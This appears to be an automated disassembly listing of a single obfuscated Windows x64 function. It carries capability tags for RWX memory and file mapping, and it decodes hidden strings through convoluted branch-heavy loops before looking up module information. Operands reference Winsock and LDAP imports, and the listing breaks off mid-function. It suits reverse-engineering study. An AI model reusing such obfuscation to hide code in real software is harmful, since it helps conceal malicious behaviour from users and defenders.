Function at 0x14011ceb0
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xd8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
movzx edi, byte [rbp + 0x67]
movabs r14, 0xe9430cbf9ec467ef
mov rsi, rax
mov qword [rbp + 0x7f], rax
xor eax, eax
mov dword [rbp - 0x79], 0xe7fcede0
vpxor xmm0, xmm0, xmm0
mov qword [rbp + 7], rax
movabs r15, 0x1ad397bfd6542c8b
mov dword [rbp - 0x6f], eax
movabs r13, 0x2b591b6a938418bf
mov word [rbp - 0x6b], ax
movabs r12, 0xb39bdd3ff21c0ed9
vmovups xmmword [rbp - 9], xmm0
mov dword [rbp - 0x75], 0xebf02be6
mov word [rbp - 0x71], 0x59ea
nop dword [rax]
call fcn.140075de0
mov rbx, qword [rax]
call fcn.140075df0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x10
jae 0x14011d888
movzx r9d, byte [rbp + r10 - 0x79]
mov edx, r9d
cmp rbx, r10
ja 0x14011d87f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14011cf8c
movabs rcx, 0x3bde9f1550b404f3
movzx eax, dl
add rcx, r10
movzx edi, r9b
and al, cl
add al, al
sub dil, al
add dil, 0x5b
add dil, cl
jmp 0x14011cfc6
je 0x14011d813
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14011d7bd
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14011d78f
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14011d74f
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14011d72b
cmp r8, r10
ja 0x14011d876
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14011cff3
lea rcx, [r10 + r14]
movzx eax, dl
and al, cl
movzx edi, r9b
add al, al
sub dil, al
add dil, 0x77
add dil, cl
jmp 0x14011d030
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14011d6e7
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14011d6c6
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14011d6a8
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14011d67e
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14011d385
nop dword [rax]
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14011d362
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14011d33e
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14011d31b
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14011d300
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14011d2e1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14011d040
lea rbx, [r8 + 0x20]
lea r8, [rbx + 3]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14011d859
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14011d83c
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14011d147
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14011d267
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14011d21b
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14011d040
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14011d1ed
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14011d1ce
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14011d1af
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14011d18c
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14011d163
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14011d040
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x1000]
jmp 0x14011d040
lea edi, [r10 + 0xb]
movzx eax, dil
and al, r9b
add al, al
sub dil, al
sub dil, 0x4d
add dil, r9b
jmp 0x14011cfc6
lea ecx, [r10 - 0x6e]
movzx eax, r9b
and al, cl
mov edi, 1
sub dil, al
inc r8
add dil, dil
dec r10
add dil, r9b
add dil, cl
inc r10
jmp 0x14011cf43
lea edx, [r10 - 0x3a]
movzx eax, r9b
and al, dl
movzx edi, r9b
add al, al
movzx r11d, r10b
sub dil, al
sub dil, 0x6a
add dil, dl
jmp 0x14011d769
lea edx, [r10 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14011d7a4
lea edx, [r10 + 0x2e]
movzx eax, r9b
and al, dl
movzx edi, r9b
add al, al
sub dil, al
sub dil, 0x42
add dil, dl
jmp 0x14011d7d2
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
movzx eax, byte [rbp + r10 - 0x79]
add rax, r8
add r10, rax
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r10
jmp 0x14011cf43
lea edx, [r10 - 0x5d]
movzx eax, r9b
and al, dl
movzx edi, r9b
add al, al
sub dil, al
sub dil, 0x75
add dil, dl
cmp r8, 0x80
jb 0x14011d5f7
movzx ecx, r9b
movzx r11d, r10b
movzx eax, r9b
lea edx, [r11 - 0x2e]
and al, dl
add al, al
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x7c]
jmp 0x14011d701
lea ecx, [r10 - 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1f
lea rax, [r8 + rbx]
cmp rax, 0x64
je 0x14011d62c
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14011d45b
lea ecx, [r10 - 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x51
cmp rbx, 3
jae 0x14011d604
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14011d510
mov ecx, reloc.WS2_32.dll_send
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14011d232
lea edx, [r10 - 0x4c]
mov ecx, 0xa
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011d7d2
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x14011d7a4
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx r11d, r10b
lea edx, [r11 + 0x1c]
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011d769
lea ecx, [r10 + 0x50]
inc r8
movzx eax, cl
dec r10
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
inc r10
jmp 0x14011cf43
lea edx, [r10 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
movzx r11d, r10b
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011d701
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x14011d3a9
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x5b
jmp 0x14011d27d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14011d3dc
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r10 - 0x79]
add rax, r8
add r10, rax
lea edi, [r9 + rcx]
sub dil, 0x12
inc r10
jmp 0x14011cf43
cmp rbx, rcx
jne 0x14011d404
lea edx, [r10 - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
movzx r11d, r10b
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011d64f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14011d42b
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
add rbx, r8
jmp 0x14011d7a4
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14011d27d
mov ecx, 0x3e
movzx r11d, r10b
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011d769
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14011d483
movzx r11d, r10b
lea ecx, [r11 - 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x65
jmp 0x14011d701
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14011d4af
movzx r11d, r10b
movzx eax, r9b
movzx edi, r9b
lea edx, [r11 + 0x7f]
and al, dl
add al, al
sub dil, al
sub dil, 0x79
add dil, dl
jmp 0x14011d769
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14011d4d8
movzx r11d, r10b
movzx eax, r9b
movzx edi, r9b
lea edx, [r11 + 0x31]
and al, dl
add al, al
sub dil, al
sub dil, 0x57
jmp 0x14011d64c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14011d2ae
lea ecx, [r10 - 3]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
movzx eax, byte [rbp + r10 - 0x79]
add rax, r8
add r10, rax
lea edi, [rcx + r9]
add dil, 0x15
inc r10
jmp 0x14011cf43
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14011d544
lea ecx, [r10 - 0x44]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
movzx eax, byte [rbp + r10 - 0x79]
add rax, r8
add r10, rax
lea edi, [rcx + r9]
sub dil, 0x24
inc r10
jmp 0x14011cf43
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14011d56d
mov ecx, 0x24
movzx r11d, r10b
movzx eax, r9b
lea edx, [r11 - 0x78]
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14011d64c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14011d599
mov ecx, gethostname
movzx r11d, r10b
movzx eax, r9b
lea edx, [r11 + 0x3a]
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14011d769
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14011d5c7
lea edx, [r10 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, r9b
dec r10
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r10
jmp 0x14011cf43
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14011d235
movzx r11d, r10b
movzx eax, r9b
movzx edi, r9b
lea edx, [r11 - 0x14]
and al, dl
add al, al
sub dil, al
sub dil, 0x74
add dil, dl
jmp 0x14011d701
mov byte [rbp + r10 - 0x79], dil
inc r10
jmp 0x14011cf43
movzx edi, byte [rbp + r10 - 0x79]
movzx r11d, r10b
movzx eax, r9b
lea edx, [r11 - 0x48]
and al, dl
add al, al
sub dil, al
sub dil, 8
add dil, r9b
add dil, dl
jmp 0x14011d769
movzx r11d, r10b
movzx eax, r9b
movzx edi, r9b
lea edx, [r11 - 0x62]
and al, dl
add al, al
sub dil, al
sub dil, byte [rbp + r10 - 0x79]
sub dil, 0x52
add dil, dl
sub r11b, 0x6f
movzx eax, r9b
and al, r11b
inc r8
add al, al
movzx ecx, r9b
sub cl, al
add cl, 9
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 - 0x79], al
add rax, r8
sub r10, rax
jmp 0x14011d7d2
lea ecx, [r10 + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r10 - 0x79]
add rax, r8
add r10, rax
lea edi, [r9 + rcx]
sub dil, 0x23
inc r10
jmp 0x14011cf43
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 5
add rbx, r8
jmp 0x14011d7a4
lea ecx, [r10 - 0x5f]
dec r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
inc r10
jmp 0x14011cf43
movzx r11d, r10b
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
sub r11b, 0x3b
inc r8
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x63
add r11b, r9b
mov byte [rbp + r10 - 0x79], r11b
dec r10
inc r10
jmp 0x14011cf43
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
inc r8
dec r10
inc r10
jmp 0x14011cf43
movzx r11d, r10b
lea ecx, [r11 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
sub r11b, 0x55
movzx ecx, dil
movzx eax, r11b
and al, r9b
add al, al
sub cl, al
add cl, 0x53
add cl, r11b
add cl, r9b
mov byte [rbp + r10 - 0x79], cl
add rbx, r8
jmp 0x14011d7a4
lea rcx, [r10 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14011cf43
lea rcx, [r10 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x39
lea edx, [r10 - 0x7c]
movzx eax, r9b
and al, dl
inc rbx
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, rbx
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 - 0x79], cl
add r10, rax
movzx eax, byte [rbp + r10 - 0x79]
add rax, r8
add r10, rax
inc r10
jmp 0x14011cf43
lea rcx, [r10 + r12]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x11
movzx eax, byte [rbp + r10 - 0x79]
add rax, r8
add r10, rax
inc r10
jmp 0x14011cf43
add r10b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x47
jmp 0x14011cf40
add r10b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6f
jmp 0x14011cf30
lea rcx, [rbp + 0x17352cb]
jmp 0x14011d88c
lea rcx, [rbp + 0x12757be]
jmp 0x14011d88c
lea rcx, [rbp - 0x79]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r9d, Ordinal_27
lea r8, [rbp - 9]
mov rdx, rax
mov qword [rbp - 0x11], rax
mov rcx, rsi
call sub.KERNEL32.dll_K32GetModuleInformation
mov rsi, qword [rbp - 9]
xor eax, eax
mov qword [rbp + 0x67], rsi
movabs r14, 0x1e4bf6ed8b3fa207
movzx edi, byte [rbp + 0x67]
movabs r12, 0xd413c07ecebd6e31
mov dword [rbp - 0x4b], eax
movabs r15, 0x5ae3e4c8a1bee615
mov word [rbp - 0x47], ax
mov dword [rbp - 0x69], 0xa2846393
mov dword [rbp - 0x65], 0xae989391
mov dword [rbp - 0x61], 0xb69cb4a7
mov dword [rbp - 0x5d], 0x80b0b0b9
mov dword [rbp - 0x59], 0x977a7c89
mov dword [rbp - 0x55], 0x8388b984
mov dword [rbp - 0x51], 0xbfb47f82
mov word [rbp - 0x4d], 0x15be
call fcn.140075de0
mov rbx, qword [rax]
call fcn.140075df0
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x24
jae 0x14011e43a
movzx r9d, byte [rbp + r10 - 0x69]
mov edx, r9d
mov r11d, r9d
nop dword [rax]
cmp rbx, r10
ja 0x14011e431
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14011d97a
lea rdi, [r10 + r14]
movzx eax, dl
and al, dil
add al, al
sub dil, al
sub dil, 0x31
add dil, r9b
jmp 0x14011d9b4
je 0x14011e3c4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14011e340
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14011e30e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14011e2d3
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14011e2b2
cmp r8, r10
ja 0x14011e428
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x14011d9de
lea ecx, [r10 - 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 5
jmp 0x14011da12
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14011e273
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14011e252
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14011e237
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14011e21c
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14011df3e
nop
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14011df20
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14011defc
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14011ded7
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14011deb8
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14011de99
lea rcx, [r8 + 9]
cmp rbx, rcx
je 0x14011de7a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14011de5f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14011de40
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14011de16
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14011da20
lea r8, [rcx + 8]
mov rbx, rcx
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x14011e40b
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x14011e3ee
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x14011dbe1
lea rax, [r8 + 0xa]
cmp rcx, rax
jb 0x14011dbc6
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x14011dbab
lea rcx, [r8 + 5]
cmp rbx, rcx
jb 0x14011ddcd
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14011dd84
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14011dd47
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14011dd24
lea r8, [rcx + 4]
mov rbx, rcx
lea rax, [r8 + 3]
cmp rcx, rax
ja 0x14011dcfa
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14011dcdf
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14011dcc0
lea rax, [r8 + 6]
cmp rcx, rax
ja 0x14011dca5
lea rax, [r8 + 4]
cmp rcx, rax
ja 0x14011dc86
lea rcx, [r8 + 0x20]
cmp rbx, rcx
ja 0x14011dc67
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14011dc46
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14011dc1e
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14011dbff
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14011da20
mov rbx, rcx
lea r8, [rcx + 0x10]
jmp 0x14011da20
lea ecx, [r10 - 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x65
jmp 0x14011da12
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x39
jmp 0x14011d9b4
lea ecx, [r10 - 0x4f]
mov r11, rdx
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x29
jmp 0x14011d950
lea ecx, [r10 - 0x68]
movzx edx, r10b
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x14011e28c
lea edx, [r10 - 0x76]
mov ecx, Ordinal_33
movzx eax, dl
inc r8
and al, r9b
dec r10
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r10
jmp 0x14011d933
lea ecx, [r10 + 0x7c]
dec r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
inc r10
jmp 0x14011d933
lea ecx, [r10 + 0x6e]
movzx r11d, r10b
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x14011e2ed
lea edx, [r10 + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011e324
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x14011e327
lea edx, [r10 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011e35e
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
jmp 0x14011e383
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r10 - 0x69]
add rax, r8
add r10, rax
lea edi, [r9 + rcx]
sub dil, 0x18
inc r10
jmp 0x14011d933
lea ecx, [r10 + 5]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
mov byte [rbp + r10 - 0x69], dil
inc r10
jmp 0x14011d933
lea ecx, [r10 - 9]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3f
cmp r8, 0x5a
jb 0x14011dd3a
movzx edx, r10b
lea ecx, [rdx - 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0xc]
jmp 0x14011e28c
lea ecx, [r10 - 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5f
cmp rbx, 2
jae 0x14011e1d8
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14011e101
lea edx, [r10 + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011dd5d
lea ecx, [r10 - 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 3
lea rax, [r8 + rbx]
cmp rax, 0x61
je 0x14011e1fc
lea rcx, [r8 + 4]
cmp rbx, rcx
jbe 0x14011e00d
lea ecx, [r10 - 0x55]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x53
jmp 0x14011dd9a
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r10 - 0x69]
add rax, r8
add r10, rax
lea edi, [r9 + rcx]
sub dil, 0x1e
inc r10
jmp 0x14011d933
lea edx, [r10 + 0x64]
mov ecx, Ordinal_35
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011e383
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
jmp 0x14011e35e
lea edx, [r10 + 0x48]
mov ecx, 4
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011e327
lea edx, [r10 + 0x3a]
mov ecx, gethostname
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011e324
movzx r11d, r10b
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x14011e2ed
lea edx, [r10 + 0x1e]
mov ecx, reloc.WS2_32.dll_socket
movzx eax, dl
dec r10
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r10
jmp 0x14011d933
lea ecx, [r10 + 0x10]
inc r8
movzx eax, cl
dec r10
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
inc r10
jmp 0x14011d933
movzx edx, r10b
lea ecx, [rdx + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x14011e28c
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14011df62
lea ecx, [r10 + 7]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x31
jmp 0x14011dde3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14011df95
lea ecx, [r10 + 0x26]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r10 - 0x69]
add rax, r8
add r10, rax
lea edi, [r9 + rcx]
sub dil, 0xa
inc r10
jmp 0x14011d933
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14011dfb9
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14011e383
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14011dfdd
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x14011e327
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14011dde3
mov ecx, 6
movzx r11d, r10b
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011e2ed
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14011e034
movzx edx, r10b
lea ecx, [rdx - 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xf
jmp 0x14011e28c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14011e05e
lea ecx, [r10 - 0x2b]
dec r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
inc r10
jmp 0x14011d933
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14011e086
movzx r11d, r10b
lea ecx, [r11 - 0x1d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x35
jmp 0x14011e2ed
cmp rbx, rcx
jne 0x14011e0a6
lea ecx, [r10 - 0xf]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x69
jmp 0x14011e324
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14011e0ca
lea ecx, [r10 + 0xd]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
jmp 0x14011e35e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14011dd9a
lea ecx, [r10 + 0x29]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r10 - 0x69]
add rax, r8
add r10, rax
lea edi, [r9 + rcx]
sub dil, 0x1f
inc r10
jmp 0x14011d933
jne 0x14011e12d
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
movzx eax, byte [rbp + r10 - 0x69]
add rax, r8
add r10, rax
lea edi, [r9 + rcx]
sub dil, 0x14
inc r10
jmp 0x14011d933
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14011e155
lea edx, [r10 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14011e35e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14011e179
lea ecx, [r10 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
jmp 0x14011e327
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14011e1a3
lea ecx, [r10 - 0x60]
dec r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r10
jmp 0x14011d933
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14011dd5d
lea edx, [r10 - 0x52]
mov ecx, Ordinal_33
movzx eax, dl
inc r8
and al, r9b
dec r10
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r10
jmp 0x14011d933
movzx ecx, byte [rbp + r10 - 0x69]
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
sub cl, al
add cl, 0xc
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14011e2ed
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 - 0x69]
lea edi, [r9 + rcx]
sub dil, 0x4a
jmp 0x14011e35e
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4d
jmp 0x14011e35e
lea ecx, [r10 - 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x51
jmp 0x14011e327
lea ecx, [r10 - 0x43]
dec r10
movzx eax, cl
